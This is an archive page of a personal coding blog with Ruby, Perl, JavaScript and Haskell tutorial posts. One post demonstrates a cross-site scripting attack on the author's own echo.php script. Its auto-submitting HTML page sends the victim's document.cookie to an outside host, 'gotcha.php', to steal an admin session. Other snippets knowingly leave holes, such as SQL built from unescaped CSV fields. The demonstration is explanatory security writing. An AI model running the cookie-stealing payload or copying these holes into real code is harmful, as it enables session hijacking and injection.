talkingCode

Archive for the code category

Simple webservice client, Ruby

posted by codders in code, ruby

Haven’t really got anything useful to write about, so here’s a simple bit of code to make XML requests to a webservice. It’s useful for me as a reference because it covers things I want to do fairly regularly - MD5-summing, Base64 encoding, fetching a page over HTTP and parsing and dumping an XML document.

For the sake of a complete example, the service we’re looking at here is a relatively RESTful directory service, exposing nested resources by extending the request URL:

# Root of service
http://some.service.com/api_root/

# List of locations
http://some.service.com/api_root/locations

# List of categories for location ID 4
http://some.service.com/api_root/categories/location/4

Requests can also have query arguments appended to specify, for example, numbers of results to return and sort order. Additionally, an authentication token and username are sent as query parameters, so that a complete request might look like:

http://some.service.com/api_root/categories/location/4?
    count=20&sort=name&uid=someuser&hash=5ju5eVirhXRqjdobToZiGA%3D%3D

The code, then, for our simple client is:

#!/usr/bin/ruby

require 'digest/md5'
require 'base64'
require 'cgi'
require 'net/http'
require 'uri'
require 'rexml/document'
require 'rexml/xpath'

BASE="http://some.service.com/api_root/"
UID="username"
PASS="suitable_password"

# Generates a valid authentication token based on 'PASS' and the
# current timestamp
def token
  plaintext = Time.now().to_i.to_s + '.' + PASS
  md5 = Digest::MD5.digest(plaintext)
  return Base64.encode64(md5).strip
end

# Returns a valid service URL, including authentication tokens
def url_for(method, args, queryargs = Hash.new)
  queryargs['uid'] = UID
  queryargs['hash'] = token
  escaped_query_parts = queryargs.collect do |entry|
    entry.collect { |e| CGI.escape(e) }.join(”=”)
  end
  escaped_args = args.unshift(method).collect { |a| CGI.escape(a) }
  path = escaped_args.join(”/”) + “?” + escaped_query_parts.join(’&')
  return BASE + path
end

# Fetches an XML document from the supplied URL
def fetch_xml(url)
  xml_string = Net::HTTP.get(URI.parse(url))
  if !xml_string
    puts “Request failed”
    exit
  end
  doc = REXML::Document.new xml_string
end

# Dumps out the ‘name’ and ‘url’ attributes for a nodelist
def dump_name_attributes(doc, path)
  REXML::XPath.each(doc, path) do |node|
    puts attribute_value(node, ‘@name’) +” (”+ attribute_value(node, ‘@url’) +”)”
  end
end

# Fetches the value of the attribute with the supplied name, or nil
def attribute_value(node, path)
  attribute = REXML::XPath.first(node, path)
  if !attribute
    return nil
  end
  return attribute.value
end

… and we might make a request as follows:

puts "Category List:"
xml = fetch_xml(url_for("categories", ["location","4"],
               { “count” => “20″,
                  “sort” => “name” }
        ))
dump_name_attributes(xml, ‘xmlservice/categories/category’)

assuming that the returned XML looks a little like this:

<xmlservice>
  <categories>
    <category name="Food" url="/api_root/category/food"/>
    <category name="Drink" url="/api_root/category/drink"/>
    <category name="Art" url="/api_root/category/art"/>
  </categories>
</xmlservice>

Reading the Economist - Hpricot, Ruby-RSS, Festival

posted by codders in code, ruby

Well, having the Economist read at any rate.

First, set up Festival (configuring it to use ALSA and an ‘English’ voice):

apt-get install festival
apt-get install festvox-rablpc16k
cat > ~/.festivalrc <<END
(Parameter.set 'Audio_Command "aplay -D plug:dmix -q -c 1 -t raw -f s16 -r \$SR \$FILE")
(Parameter.set 'Audio_Method 'Audio_Command)
(voice_rab_diphone)
END

Then liberally sprinkle some ruby:

#!/usr/bin/ruby

require 'rss/1.0'
require 'rss/2.0'
require 'open-uri'
require 'yaml'
require 'hpricot'
include YAML

TEMPFILE = "/tmp/economistreader"
puts "Fetching feed"
source = "http://www.economist.com/rss/full_print_edition_rss.xml"
content = ""
open(source) do |s| content = s.read end
rss = RSS::Parser.parse(content, false)

puts "Title: #{rss.channel.title}"
puts "Found #{rss.items.size} items"
for item in rss.items
  puts "#{item.title}"
  puts "Read? [Y/n]”
  if readline.strip.downcase =~ /^n/
    next
  end
  doc = Hpricot(open(item.link))
  paras = doc.search(”//div[@class='col-left']/p[@class='']“)
  File.open(”#{TEMPFILE}.body”, “w”) do |f|
    paras.each do |p|
      f.write(p.inner_text + “\n”)
      puts p.inner_text
    end
  end
  system(”festival”, “–tts”, “#{TEMPFILE}.body”)
end

I give it about 3 articles before the voice drives me completely insane. There’s a character-set issue that puts ‘?’s in odd places and causes Festival to get confused. Even without confusing characters, free text-to-speech software still isn’t ‘all that‘.
You could also, it’s worth pointing out, visit PimpMyNews. You’ll find the Economist’s feed under ‘Business/World Business News’. Unfortunately, they are lazy and their software only reads out the text from the RSS ‘Description’ field rather than parsing the whole article. That said, if what you want is to hear the first 200 words of every article in the Economist, that’s your badger.

Writing your own cross-site scripting exploit with echo.php

posted by codders in code, javascript

I keep commenting in my posts about security, usually to the effect that I don’t care for the purposes of what I’m doing but that you should think carefully about it. I thought it might be instructive to demonstrate just how easily ‘not caring’ can get you in trouble.

In order to make the editable table demo work, I created ‘echo.php’ - a simple PHP script to echo any posted value back to the caller; in this case the TableKit AJAX so that the cells get updated. I wrote this in the obvious way:

<?php
  echo $_POST['value'];
?>

It’s a one line (one command) PHP script. What could possibly go wrong?

Well let’s see how wrong we can make things go. Anybody visiting this site will know it’s hosted on Wordpress, can discover what echo.php does, and will find out if they leave a comment on the blog that comments need approving. Let’s suppose that one such visitor (Sally, for sake of argument) wasn’t happy with that way of working and wanted to be able to approve her own comments in future. Suppose further that I’m the kind of guy who likes to get a little background on the people commenting on my blog before I approve their messages. Sally leaves an innocuous looking comment and in the Website field, puts the URL of a page on her site - http://www.sallyssite.com/some_page.html. The code for some_page.html might look like this:

<html>
<head><title>Some Page</title></head>
<body onload="submitit()">
<form name="form1"
           action="http://talkingcode.co.uk/echo.php"
           method="post">
<input type="hidden" name="value" value="<html>
<head>
<title>Pwned</title>
</head>
<body onload='pwned()'>
<script type='text/javascript' src='/script/prototype.js'>
</script>
<form name='form1' action='http://www.sallyssite.com/gotcha.php' method='get'>
<input id='result' type='hidden' name='result' value=''/>
</form>
<script>
function pwned()
{
  $('result').value = document.cookie;
  document.form1.submit()
}
</script>
</body>
</html>">
</form>
<script>
function submitit()
{
  document.form1.submit();
}
</script>
</body>
</html>

So… What happens when I click the link and visit Sally’s page? The onload action for her page submits the form that’s on it, whose action is http://talkingcode.co.uk/echo.php and whose method is POST. The POST data is the value of a hidden field called value, specifically a bunch of HTML and Javascript.

On loading the page, my browser will render the output of echo.php which is the contents of the value field, which happens to be another auto-submitting form. This time, though, the action of the form is http://www.sallyssite.com/gotcha.php, and the contents of the form’s result field is going to be my cookie for talkingCode. So… I’ll just have posted my WordPress administrator cookie over to Sally’s site. How embarrassing. :(

Welcome to the real world

You might think this is a pretty contrived example, but the ingredients for this attack exist in a whole lot of real world systems that you might be using. Any time you click ‘Remember me’ on a site, or on any site to which you don’t have to log in every time, you’re using cookie-based authentication. Anyone who steals the cookie can log in as you. Still, not every site has an ‘echo.php’ lying around, right? That’s as may be, but a large number of sites do render user input and that’s really all it takes. Exploiting echo.php was easy because I had complete control of the way the result was going to render, but anywhere I can get my form rendered on a site that you trust, I can steal your cookies. This might be something I’ve put on my Facebook profile (in a world where Facebook was written by monkeys), it could be a comment I’ve made on your blog (if your blog software is completely broken); anywhere that hasn’t successfully escaped HTML/Javascript in all places may be at risk. Fortunately if you’re using high-profile sites or standard tools, you’re unlikely to run in to this problem because, either by having clever developers or through many eyes, these kinds of things will have been detected and avoided. Unfortunately, you might be writing a site yourself and miss it, or using a site written by people who don’t know what they’re doing.

NoScript to the rescue?

Well, kinda. If you’ve installed NoScript - which I strongly recommend you do - the form on Sally’s page can’t auto-submit. She has to make you click on a button to submit her form. Unfortunately, that’s not that hard. She need only label it ‘Search’, or ‘click here for free money’ to socially engineer that one. The only Javascript required in the exploit is the call to document.cookie, and that runs in the trusted domain. It’s a no-brainer that I’ll have marked talkingCode as trusted in NoScript - if I hadn’t, none of my lovely demos would work (inasmuch as they work at all). Any site on which you use cookie authentication that requires Javascript is equally vulnerable.

Don’t have nightmares

It’s worth pointing out that the vast majority of sites and tools you use won’t allow you to be exposed to this. I highlighted echo.php because it’s code I actually wrote and installed on my site. There are a lot of web developers who go through their lives copying and pasting examples from blogs and forums without understanding what the risks are but you don’t need to use their sites, and you certainly needn’t be one of them. It’s also worth conceding that although the script is called echo.php, and in spite of our irrational prejudice against PHP, there’s nothing intrinsically worse about PHP in terms of security. It’s what you do with it that counts.

Editable table with Javascript, TableKit, AJAX and Rails

posted by codders in ajax, code, javascript, rails

Me and my tables. First drag and drop, then drag-select, and now click-to-edit values with date parsing magic. It’s like having a spreadsheet in a webpage, but less pointful. You will need:

… and a table of data:

Hardware Config ODM Brand Model Date
1234 Dell Kit Kat Product A
1240 Microsoft Kit Kat Product B 2007-05-06
300 Dell Whisper Product C
127 HP Whisper Product D 2007-03-04




As you can see, by clicking the cells, you can edit the data. The table data is generated by an RHTML template using appropriate ActiveRecord models:

<table class="editable">
<thead>
  <tr>
    <th>Hardware Config</th>
    <th id="odm_id">ODM</th>
    <th id="brand_id">Brand</th>
    <th id="model_name">Model</th>
    <th id="date">Date</th>
    <th><!-- actions --></th>
  </tr>
</thead>
<tbody>
<% hwconfigs_by_id = Hash.new %>
<% @hwconfigs.each { |hwc| hwconfigs_by_id[hwc.product_code] = hwc } %>
<% for i in (1..200) %>
   <% code = 1024 - i%>
   <% hwconfig = hwconfigs_by_id[code.to_s] %>
     <tr class=”<%= cycle(”odd”, “even”)%>” id=”<%= code %>”>
        <td><%= code %></td>
        <% if hwconfig %>
          <td><%= hwconfig.odm.name if hwconfig.odm %></td>
          <td><%= hwconfig.brand.name if hwconfig.brand %></td>
          <td><%= hwconfig.model_name %></td>
          <td><%= hwconfig.date %></td>
        <% else %>
          <td></td>
          <td></td>
          <td></td>
          <td></td>
        <% end %>
    </tr>
<% end %>
</tbody>
</table>

In the same template, the following code adds the Javascript that we’re going to need to make the table editable:

<%= javascript_include_tag "tablekit" %>
<%= javascript_include_tag "fastinit" %>
<%= javascript_include_tag "date-en-GB" %>
<script>
TableKit.options.editAjaxURI = '<%= url_for :controller => "hwconfigs", :action => "table_edit"%>';
TableKit.Editable.textInput('date', {}, function(string) {
  var format = "yyyy-MM-dd";
  var date = Date.parse(string);
  if (date)
  {
    return date.toString(format);
  }
  return date;
}, "today");
TableKit.Editable.textInput('model_name', {}, undefined, "");
TableKit.Editable.selectInput('odm_id', {}, [
  <% for oem in Odm.find(:all, :order => 'name') %>
    <%= "['#{oem.name}','#{oem.id}'],” %>
  <% end %>
]);
TableKit.Editable.selectInput(’brand_id’, {}, [
  <% for brand in Brand.find(:all, :order => 'name') %>
    <%= "['#{brand.name}','#{brand.id}'],” %>
  <% end %>
]);
</script>

How do you get that to update the data model? In Rails, you’d configure the javascript to post to your hwconfigs/table_edit action, and process the posts in the hwconfigs ActionController as follows:

def table_edit
  hwconfig = Hwconfig.find_by_product_code(params[:id])
  if !hwconfig
    hwconfig = Hwconfig.new()
    hwconfig.product_code = params[:id]
  end
  if !params[:value]
    params[:value] = “”
  end
  if hwconfig.respond_to? params[:field].to_sym
    hwconfig.update_attributes(params[:field] => params[:value])
  end
  result = params[:value]
  case params[:field]
    when “brand_id”
       result = hwconfig.brand.name
    when “odm_id”
       result = hwconfig.odm.name
  end
  render :text => result
  return
end

Two things worth noting there. First is the cheeky use of introspection to get the model updated (respond_to?). I keep saying this, but it’s worth remembering that this code completely trusts the client to be sending valid data. In our table we’ll have selected and sent a list of values for the drop-downs, but there’s nothing to stop someone determined sending a POST with a different set of values.
Second thing to note is that we echo back the text that we want rendered in the table cell. In the case of text and dates, that’s easy. In the case of the drop downs, we need to convert the value sent back into the name of the item that we want displayed in the table cell.
That’s the bulk of the work. There are a couple of neat tricks that you can use to make your table a bit easier to use. If you click on one of the empty ‘Date’ cells, you’ll see that the default text in the edit box is ‘today’. Clicking ‘OK’ magically translates that text into today’s date, which is quite cool. You can also try things like ‘tomorrow’, ‘last tuesday’ or ‘next week’. That’s DateJS in action. Problem is, DateJS is a client-side library so we need to do the translation from text to date before the post hits the server. How do we swindle that one? In ‘prototype.js’, we can edit the serializeElements method to perform some ‘validation’ before the post is sent:

  serializeElements: function(elements, getHash) {
    var data = elements.inject({}, function(result, element) {
      if (!element.disabled && element.name) {
        var key = element.name;
	if ($(element).validator)
	{
	  value = $(element).validator($(element).getValue());
	}
        else
	{
	  value = $(element).getValue();
	}
        if (value != undefined) {
          if (result[key]) {
            if (result[key].constructor != Array) result[key] = [result[key]];
            result[key].push(value);
          }
          else result[key] = value;
        }
      }
      return result;
    });

‘course, we’ll need to edit the constructor for the TextInput to allow us to specify a validation function and a default value in TableKit.Editable.CellEditor.prototype:

TableKit.Editable.textInput = function(n,attributes,validator,defaultvalue) {
  TableKit.Editable.addCellEditor(new TableKit.Editable.CellEditor(n, {
    element : 'input',
    attributes : Object.extend({name : 'value', type : 'text'}, attributes||{}),
    validator : validator,
    defaultvalue: defaultvalue
  }));
};

and add the validation (and default value) code:

case 'textarea':
  if (op.validator)
  {
    field.validator = op.validator;
  }
  var textVal = TableKit.getCellText(cell)
  if (textVal == undefined && op.defaultvalue != undefined)
  {
    field.value = op.defaultvalue;
  }
  else
  {
    field.value = textVal;
  }

and while we’re at it fix a bug in the drop-down value code in the same function:

case 'select':
  var txt = TableKit.getCellText(cell);
  $A(op.selectOptions).each(function(v){
    field.options[field.options.length] = new Option(v[0], v[1]);
    if(txt === v[0]) {
      field.options[field.options.length-1].selected = ’selected’;
    }
  });
  break;

Couldn’t be simpler. Or something.

Bounding box drag-select for tables; Javascript, Prototype

posted by codders in code, javascript

*sigh*. I had a table, a lovely table. I wanted to be able to drag a bounding box around rows in the table. Looking around, there didn’t seem to be much by way of existing support, so I wrote this fine bounding box library. Well, it’s not actually that fine, but it does at least work in a cross-browser way. (Tested in FF/Linux, IE6/Linux, Opera/Linux, IE7/Win - IE7 has some minor alignment issues). I’m using it on tables here, but it’ll work (as far as I know) for any element.

A 1 B 1 C 1 D 1
A 2 B 2 C 2 D 2
A 3 B 3 C 3 D 3

The magic code to do what you see there is (with apologies for the fromCharCode: Javascript + Wordpress = Death):

<script type="text/javascript" src="/script/prototype.js"></script>
<script type="text/javascript" src="/script/boundingbox.js"></script>
<script>
  // Button actions
  function doStuff()
  {
    var b = new BoundingBox();
    clearCells();
    updateLabel("Click and drag to select items");
    b.startSelection(releaseCallback);
  }

  function doStuff2()
  {
    var b = new BoundingBox();
    clearCells();
    updateLabel("Click mouse on canvas to start selection");
    b.startTwoClickSelection(firstClickCallback, releaseCallback);
  };

  // Callbacks
  function firstClickCallback()
  {
    updateLabel("Click mouse on canvas again to stop selection");
  };

  function releaseCallback(selected)
  {
    for (var i=0; i<selected.length; i++)
    {
      $(selected[i]).setStyle({
         background: “#FF9999″
       });
    }
    updateLabel(”Click a button to begin selection”);
  };

  // Utility functions:
  function clearCells()
  {
    $$(”td[bandable]“).each(function (data) {
      data.setStyle({
        background: “#99FF99″
    })});
  }

  function updateLabel(text)
  {
    var o = String.fromCharCode(60);
    var c = String.fromCharCode(62);
    var label = o + “label” + c;
    label += text;
    label += o + “/label” + c;
    $(”label_div”).firstDescendant().replace(label);
  };
</script>
<input onclick=”doStuff()” type=”button” value=”Drag-Select Mode” />
<input onclick=”doStuff2()” type=”button” value=”2-Click Mode” />

Note that the callback function is invoked with an array of the selected elements’ ids when the mouse has been released. I’ve hooked this up to change the element colours in the little script, but you could equally:

  function releaseCallback(selected)
  {
    new Ajax.Request('/some/form.php', { method: 'post',
                            parameters: {'ids[]‘:selected} });
  }

if you wanted to send the data back to a form somewhere.

This code is still a bit rough around the edges - YMMV. Props, as ever, to the good people at Prototype without whose magic this wouldn’t work.

Import into MySQL from CSV/Excel, Ruby

posted by codders in code, mysql, ruby

You have some data in a CSV file (or a spreadsheet that you’ve dumped to CSV) that you’d like to load into a MySQL database. Nothing very interesting to say about this except that faffing looking up both sets of docs is tedious for what are quite simple bits of code and a fairly occasional task. (If you spend a lot of your time dealing with CSV / Excel files, you’ve probably made some bad decisions in life, but at least you’ll know this by heart :) )

The source file is a list of resistor values - column headings ‘Value’ (read product code), ‘Resistor A’, ‘Resistor B’, ‘Resistor C’. The CSV looks something like:

0,1.1,27,180
7,4.7,22,47
21,2.2,18,4.7

The table looks something like:

CREATE TABLE resistor_configs (
  id INT AUTO_INCREMENT,
  value INT,
  resistor_a FLOAT,
  resistor_b FLOAT,
  resistor_c FLOAT,
  PRIMARY KEY  (id)
) DEFAULT CHARSET=utf8

…and the Ruby runs as follows:

#!/usr/bin/ruby
#
require 'csv'
require 'mysql'

my = Mysql::init()
# You can do any SSL stuff before the real_connect
# args: hostname, username, password, database
my.real_connect("localhost", "root", "", "products_development")

my.query("DELETE FROM resistor_configs")

CSV.open('/tmp/resistors.csv', 'r') do |row|
  # No escaping here, because I trust the input file. You may not
  my.query("INSERT INTO resistor_configs" +
               "(value, resistor_a, resistor_b, resistor_c)" +
               "VALUES (#{row[0]}, #{row[1]},” +
               “#{row[2]}, #{row[3]})”)
end

There you have it. Nothing very clever, but easier to copy and paste than to read the fine manual.

Getting started with Haskell

posted by codders in code, haskell

All the cool kids, it seems, are using Haskell these days. Or at least, the two or three people with whom I talk about software on a regular basis. Functional programming is fun. It makes you think a little differently about the world, and serves as a decent substitute for a unicorn chaser if you’ve been writing PHP all day.

I remember almost the first snippet of code we saw on our computer science course was the following to count the number of items in a list:

count [] = 0
count (x:xs) = 1 + count(xs)

which, for a guy who’d only ever really written code in BASIC before starting the course, was a bit of an eye opener. I think it was probably three or four lectures in before we had to work out the code for printing out all the permutations of a list:

> permute [1,2,3]
[[1,2,3],[2,1,3],[2,3,1],[1,3,2],[3,1,2],[3,2,1]]

After much blood, sweat, and tears we’d eventually come to the realisation that:

insert x [] = [[x]]
insert x (y:ys) = (x:y:ys) : map (\z -> y:z) (insert x ys)

permute [] = [[]]
permute (x:xs) = concat (map (insert x) (permute xs))

would suffice (where concat flattens a list and map has the usual meaning). At first glance, it all looks pretty daunting, but after a while one comes to understand what it means for the type of map to be (a -> b) -> [a] -> [b], and starts to appreciate the compact elegance of the code that’s produced in functional programming.

Ugly implementation details? You betcha…

apt-get install hugs
apt-get install haskell98-tutorial
cat > hello.hs <<END
#!/usr/bin/runhugs +l
main :: IO()
main = putStr "Hello World!\n"
END
chmod 755 hello.hs
./hello.hs

(N.B. hugs with the ‘+l’ switch is sensitive about filenames. Non ‘.hs’ files require lines of Haskell to begin ‘>’). It’s often more comfortable to develop these things interactively. Booting into a hugs session and typing

> :load hello.hs

will import the functions defined in hello.hs into your session.

Over the coming weeks, I hope to be honing my skills and infuriating my coworkers by replacing bits of critical infrastructure with Haskell scripts. I’ll let you know how that goes.

Byte-packing / reading binary data in Ruby

posted by codders in code, ruby

A lot of high-level languages don’t have wonderful native support for bit-level manipulation of data, so when you find yourself having to implement a proprietary wire protocol or parse a custom file header, you often feel a little lost. Fortunately you’re not the first person to feel lost, and some kind person has, by and large, already solved the problem for you. In Java, for example, there’s the fine commons.io library (in fact, all the commons libraries are pretty fine), and in Ruby you have BitStruct:

# Syntax here is
#    parsed-datatype
#    :symbol_name for the parsed data
#    field size in bits
#    comment
class BinaryHeader < BitStruct
  default_options :endian => :native
  char     :id, 4*8, "File ID"
  char     :format_string, 4*8, "Format String"
  unsigned :remainder, 32, "Remaining bytes"
  unsigned :trackId, 32, "Track ID"
  unsigned :formatId, 32, "Format ID"
  unsigned :codecId, 32, "Codec ID"
  unsigned :major, 16, "Major Version"
  unsigned :minor, 16, "Minor Version"
  unsigned :validation, 32, "Validation Data"
  unsigned :size, 32, "File Size"
end

There are a number of ways you can find binary data on your hands. You could read directly from a file / socket, you could generate some, or you could receive it Base64 encoded from a Webservices request:

def get_header(file)
  header_bytes_base64 = @webservice.getFileHeader(file.trackId)
  header_bytes = Base64.decode64(header_bytes_base64)
  if header_bytes.size != HEADER_SIZE
    puts "Invalid header size: #{header_bytes.size}"
    return nil
  end
  header = BinaryHeader.new(header_bytes)
  puts "Got Header:"
  puts header.inspect_detailed
  if header.id != "FILE"
    puts "Unknown file ID: #{id}"
    return nil
  end
  if header.format_string != "MP3X"
    puts "Unknown file format: #{format}"
    return nil
  end
  return header
end

Problem solved.

JSON “RPC” from Perl to Ruby / Webrick

posted by codders in code, perl, ruby

So I have a bunch of software I’d written in Ruby because it was “The Right Choice™” and I need to make it talk to a stack of software I’d written in Perl (because “I Was An Idiot™”). Specifically, I need the Perl to be able to call the Ruby. I had a quick dig around, and there’s a Perl module Inline::Ruby which, on the face of it, would do the job. Unfortunately, Inline::Ruby is version 0.0.2 software and “Doesn’t Work So Good™”. Not only that, but I’d really like some persistence in the Ruby code so that I don’t have to new up the state every time I make a call. What this calls for, then, is some IPC

Linux IPC comes in three varieties - Sockets, Files, and Shared Memory. Files is obviously a pretty poor idea in that you’ll either be polling a lot or writing nasty dnotify stuff. Shared Memory is okay but extremely unportable. Sockets are a pretty good idea, and if you choose an IP socket you get the advantage that you can run the communicating processes on different machines (assuming they don’t need to share other local resources).

So you’ve selected TCP/IP as a transport, but you’ve then got all sorts of irritating high-level protocol implementation to do. Unless…

#!/usr/bin/ruby
# A Simple Webserver for JSON RPC

require 'webrick'
require 'json'
require 'yaml'
include WEBrick
include YAML

server = HTTPServer.new(:Port => 8000)
server.mount_proc("/rhapsodise") do |request, response|
  response['Content-Type'] = “application/json”
  response.body = handle_json_request(request)
end

trap(”INT”) { server.shutdown }

def handle_json_request(request)
  object = JSON.parse(request.body)
  YAML.dump(object)
end

server.start

and then…

#!/usr/bin/perl -w
#
# A Simple Perl Client for JSON RPC

use strict;
use JSON;
use LWP;

my $actionurl = "http://localhost:8000/rhapsodise";

my $ua = LWP::UserAgent->new();
$ua->agent("JSONClient/0.1");

my $object = { test => "fish",
               wibble => ["meep", "flange" ] };

my $json = objToJson($object);
print “$json\n”;
my $req = HTTP::Request->new(POST => $actionurl);
$req->content_type(’application/json’);
$req->content($json);

my $res = $ua->request($req);
if ($res->is_success)
{
  print “Succeeded:\n” . $res->content;
  my $result = jsonToObj($res->content);
}
else
{
  print “Failed\n”;
}

… et voila. For less code than it might cost you to bind the socket in C(!) you’ve got a nice, portable way of making Ruby calls from your Perl through the Webrick webserver. Even better, you get to use Perl and JSON, as exhorted in my previous post. A dash more code for the server, and it’s very nearly useful:

def error_object(message)
  return { :error => message }.to_json
end

def handle_json_request(request)
  command = JSON.parse(request.body)
  if command["method"] == nil
    return error_object(”No method suppled”)
  end
  if command["method"] =~ /^rd_/
    return self.send(command["method"], command)
  end
  return error_object(”No matching method”)
end

def method_missing(m, *args)
  return error_object(”Invalid command: #{m}”)
end

Notice that I’m prefixing my RPC-able methods with ‘rd_’. This probably isn’t much more secure than not bothering, but is a useful kind of Hungarian Notation for the methods. I’m not worrying too much about security on this one since I write both ends and I trust the link across which the packets run - you’d need to take appropriate precautions if that wasn’t true.

Perl and JSON: heaven =~ m/made/ ?

posted by codders in ajax, code, perl

If you read the above as ‘Heaven Made’, I’m afraid you lose code Dingbats. Try harder.

Perl is a nice language and JSON is a good way to structure data if you’re about to send over your favourite IPC mechanism. And there are, it seems, many similarities between the way JSON structures data and the way Perl structures data. Unfortunately, I don’t have an awful lot to write on the topic, so as well as briefly introducing the basics of creating JSON in Perl I will, with the irrefutable logic of a professor of philosophy and all the religious sensitivity of a Dan Brown novel, be examining the evidence for Larry Wall being God.

We’re going to start with a motivating example. I want to represent the following JSON object in Perl:

{
  keywords:['cat', 'fish', 'pig'],
  somekey: ’somevalue’,
  someobject: {
    nested: ‘value’,
    another: ‘nestedvalue’,
    a_number: 4
  }
  simple:true
}

I don’t know if you’ve come across JSON before, but it’s basically the way Javascript (ECMAScript) represents objects. Your modelling tools there are strings, numbers and booleans, as you might expect, and some collecting constructs. Specifically, JSON has a way to associate string keys with values - within the ‘{}’, thing on the left of the ‘:’ is the key and the thing on the right is the value, with commas seperating key-value pairs - and a way to create lists of values - inside the ‘[]‘, again seperated by commas.

Now, if you’re familiar with Hashes and Lists (or Arrays), you’ll see that JSON’s collection structures are exactly those. How do we represent those in Perl? Well, we use ‘{}’ for a hash and ‘[]‘ for a list. What’s more, we use commas to separate are values. I know what you’re thinking - “It’s mere coincidence”. The kind of coincidence that sees the Earth just the right temperature to support life, as a function of its being in just the right place in our solar system? Yes. _That_ kind of mere coincidence.

So how, naively, would I go about representing the above in Perl?

my $object = {
  keywords => ['cat', 'fish', 'pig'],
  somekey => ’somevalue’,
  someobject => {
    nested => ‘value’,
    another => ‘nestedvalue’,
    a_number => 4
  }
  simple => true
};

But all I’ve done so far is replace the ‘:’ with ‘=>’. It can’t be that simple, can it? That would be too easy. Almost as though, at the start of the universe, someone had determined that JSON and Perl would have basically the same syntax. Could it be that this synergy is part of God’s great plan? Well, not quite. Turns out you can’t just whack ‘true’ in there for your boolean value. I’ve defined a little function here to return ‘true’:

sub json_true()
{
  return bless ( {value => "true"}, "JSON::NotString" );
}

That’s ugly as sin, I know. (AS SIN! And it’s BLESSED! This conspiracy writes itself.) Anyway. Why would a God, in designing this synergy, allow such evil? Here I distract you by shouting “Look out! Earthquake!”, say “Natural Evil” three times, and we sweep that under the carpet.

The only piece missing from this puzzle are the final bits of fairy dust that’ll actually let you convert JSON to a format suitable for sending over the wire. May I introduce:

use JSON;

my $obj = { test => 'object' };
my $json_string = objToJson($obj);
my $rebuilt_object = jsonToObj($json_string);

Simple as. But… is Larry Wall God? Could anyone but the supreme being have designed this happy coincidence into the starting conditions of the universe? That a humble pre-WWW scripting language would turn out to have approximately similar syntax to one of the high-level interchange protocols powering the modern web? Well, if Larry Wall were God I’d certainly be disappointed, and that’s to say nothing of the fuss that world religions would kick up. And, in fairness, this isn’t a coincidence that has to have been orchestrated from the dawn of the universe. You’d really only need to start thinking about it in… say… 1962.

Maybe Larry isn’t God. Maybe he’s just Al Gore.

Recent Posts
Recent Comments
About Us
Rob Lee: Good Idea! I also have the same problem i don't know how to solve this.but have a ...
Guido: Hi! This is almost everything I'm looking for at the moment. I have to setup a qu...
akram: thank you...
Markus: If I take this Code in the lines above I got the following Error... test_import.rb...
Franta: and Step 7: Become frustrated again...

This is the personal blog of a professional software engineer. This site and the views expressed on it are in no way endorsed by the RIAA.